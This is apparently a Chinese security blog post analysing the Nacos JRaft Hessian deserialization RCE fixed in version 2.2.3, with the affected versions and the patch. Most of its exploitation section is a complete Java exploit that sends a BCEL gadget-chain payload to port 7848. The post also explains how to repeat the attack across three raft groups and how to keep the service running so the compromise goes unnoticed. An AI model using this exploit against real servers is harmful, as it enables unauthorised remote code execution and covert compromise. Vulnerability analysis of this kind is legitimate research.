在Nacos 2.2.3版本中,修复了一个hessian反序列化漏洞

该漏洞主要是针对部分Jraft请求处理时,使用hessian进行反序列化未限制而造成的RCE漏洞

影响版本:

  • 1.4.0 <= Nacos < 1.4.6 使用cluster集群模式运行
  • 2.0.0 <= Nacos < 2.2.3 任意模式启动均受到影响

漏洞分析

看到漏洞修复:https://github.com/alibaba/nacos/pull/10542/files
com.alibaba.nacos.consistency.serialize.HessianSerializer

使用 NacosHessianSerializerFactory 代替了默认的 SerializerFactory,而这是一个白名单类,相当于从根源上解决了反序列化问题

继续看到其他改动可以发现

主要就是在onApply、onRequest方法会触发serializer.deserialize反序列化,对如下几个类做了修改:

1
2
3
4
5
com.alibaba.nacos.naming.consistency.persistent.impl.BasePersistentServiceProcessor
com.alibaba.nacos.naming.core.v2.metadata.InstanceMetadataProcessor
com.alibaba.nacos.naming.core.v2.metadata.ServiceMetadataProcessor
com.alibaba.nacos.naming.core.v2.service.impl.PersistentClientOperationServiceImpl
com.alibaba.nacos.config.server.service.repository.embedded.DistributedDatabaseOperateImpl

该漏洞的关键就是如何传参到7848端口的 JRaft 实现rce,主要看到官方文档:JRaft 用户指南

客户端的通讯层都依赖 Bolt 的 RpcClient,封装在 CliClientService 接口中,实现类就是 BoltCliClientService 。 可以通过 BoltCliClientService 的 getRpcClient 方法获取底层的 bolt RpcClient 实例,用于其他通讯用途,做到资源复用

提交的任务最终将会复制应用到所有 raft 节点上的状态机,状态机通过 StateMachine 接口表示,void onApply(Iterator iter)是它最核心的方法,应用任务列表到状态机,任务将按照提交顺序应用

所以说会走到com.alibaba.nacos.core.distributed.raft.NacosStateMachine#onApply

如果message为 WriteRequest 的实例,那么就会调用 processor 的 onApply 方法,processor 的实现类如下:

看到com.alibaba.nacos.naming.core.v2.service.impl.PersistentClientOperationServiceImpl#onApply

很明显调用了反序列化
注意这里有个com.alibaba.nacos.naming.core.v2.service.impl.PersistentClientOperationServiceImpl#group

group() 方法会作为 groupName 用于创建RaftGroupService

漏洞利用

虽然说nacos中集成了hessian-3.3.6.jar和hessian-4.0.63.jar,但还是会优先使用hessian-4.0.63进行反序列化,而这个版本中存在黑名单

ban掉了如下这几个类:

1
2
3
4
java.lang.Runtime
java.lang.Process
java.lang.System
java.lang.Thread

所以不能用MethodUtil来打Runtime,我们可以使用com.sun.org.apache.bcel.internal.util.JavaWrapper加载bcel字节码实现rce

最后的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
import com.alibaba.nacos.consistency.entity.WriteRequest;
import com.alipay.sofa.jraft.entity.PeerId;
import com.alipay.sofa.jraft.option.CliOptions;
import com.alipay.sofa.jraft.rpc.impl.GrpcClient;
import com.alipay.sofa.jraft.rpc.impl.MarshallerHelper;
import com.alipay.sofa.jraft.rpc.impl.cli.CliClientServiceImpl;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.google.protobuf.*;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import sun.swing.SwingLazyValue;

import javax.swing.*;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class exp
{
public static void main( String[] args ) throws Exception {
String address = "192.168.111.178:7848";
byte[] poc = build();

//初始化 RPC 服务
CliClientServiceImpl cliClientService = new CliClientServiceImpl();
cliClientService.init(new CliOptions());
PeerId leader = PeerId.parsePeer(address);

WriteRequest request = WriteRequest.newBuilder()
.setGroup("naming_persistent_service_v2")
.setData(ByteString.copyFrom(poc))
.build();

GrpcClient grpcClient = (GrpcClient) cliClientService.getRpcClient();

//反射添加WriteRequest,不然会抛出异常
Field parserClassesField = GrpcClient.class.getDeclaredField("parserClasses");
parserClassesField.setAccessible(true);
Map<String, Message> parserClasses = (Map) parserClassesField.get(grpcClient);
parserClasses.put(WriteRequest.class.getName(),WriteRequest.getDefaultInstance());
MarshallerHelper.registerRespInstance(WriteRequest.class.getName(),WriteRequest.getDefaultInstance());

Object res = grpcClient.invokeSync(leader.getEndpoint(), request,5000);
System.out.println(res);
}

private static byte[] build() throws Exception {
JavaClass evil = Repository.lookupClass(calc.class);
String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true);

SwingLazyValue slz = new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}});
UIDefaults uiDefaults1 = new UIDefaults();
uiDefaults1.put("_", slz);
UIDefaults uiDefaults2 = new UIDefaults();
uiDefaults2.put("_", slz);

HashMap hashMap = makeMap(uiDefaults1,uiDefaults2);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output oo = new Hessian2Output(baos);
oo.setSerializerFactory(new SerializerFactory());
oo.getSerializerFactory().setAllowNonSerializable(true);
oo.writeObject(hashMap);
oo.flush();

return baos.toByteArray();
}

public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
public static void setFieldValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

部分调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
deseiralize0:69, HessianSerializer (com.alibaba.nacos.consistency.serialize)
deserialize:47, HessianSerializer (com.alibaba.nacos.consistency.serialize)
onApply:188, PersistentClientOperationServiceImpl (com.alibaba.nacos.naming.core.v2.service.impl)
onApply:122, NacosStateMachine (com.alibaba.nacos.core.distributed.raft)
doApplyTasks:541, FSMCallerImpl (com.alipay.sofa.jraft.core)
doCommitted:510, FSMCallerImpl (com.alipay.sofa.jraft.core)
runApplyTask:442, FSMCallerImpl (com.alipay.sofa.jraft.core)
access$100:73, FSMCallerImpl (com.alipay.sofa.jraft.core)
onEvent:148, FSMCallerImpl$ApplyTaskHandler (com.alipay.sofa.jraft.core)
onEvent:142, FSMCallerImpl$ApplyTaskHandler (com.alipay.sofa.jraft.core)
run:137, BatchEventProcessor (com.lmax.disruptor)
run:750, Thread (java.lang)

但是bcel在jdk8u251被删除了,所以高版本下需要其他的利用方式

根据y4er师傅的文章,nacos存在jackson依赖,可以打JNDI,配合jackson POJONode的反序列化rce,但是测试发现打jackson不太稳定,跟环境有关系

多次触发

在第二次执行exp的时候会报错:

1
key: "Could not find leader : naming_persistent_service_v2"

这里由于第一次攻击会导致 raft 记录的集群地址失效

我们需要删除 Nacos 根目录下 data 文件夹下的 protocol 文件夹,然后重启服务才能恢复

看到com.alibaba.nacos.core.distributed.raft.JRaftServer#createMultiRaftGroup创建RaftGroupService的地方

我们可以根据 group 打不同的 RaftGroupService:

1
2
3
naming_persistent_service_v2
naming_instance_metadata
naming_service_metadata

所以说至少可以打三次

无损利用

第一次执行exp的时候会报错:

1
key: "java.lang.ClassCastException: java.util.HashMap cannot be cast to com.alibaba.nacos.naming.core.v2.metadata.MetadataOperation"

类型转换异常,导致的服务出错

发现 MetadataOperation 这个对象有一个属性 metadata 是泛型,并且实现了 Serializable 接口

我们可以构造一个 MetadataOperation 对象,并将其 metadata 属性设置恶意对象,此时反序列化后的对象符合预期,不会报错,服务就会正常运行

1
2
MetadataOperation metadataOperation = new MetadataOperation();
setFieldValue(metadataOperation,"metadata",hashMap);

参考:
漏洞风险提示|Nacos Jraft Hessian反序列化漏洞
Nacos Hessian 反序列化 RCE
Nacos Raft Hessian反序列化漏洞分析
Nacos JRaft Hessian 反序列化分析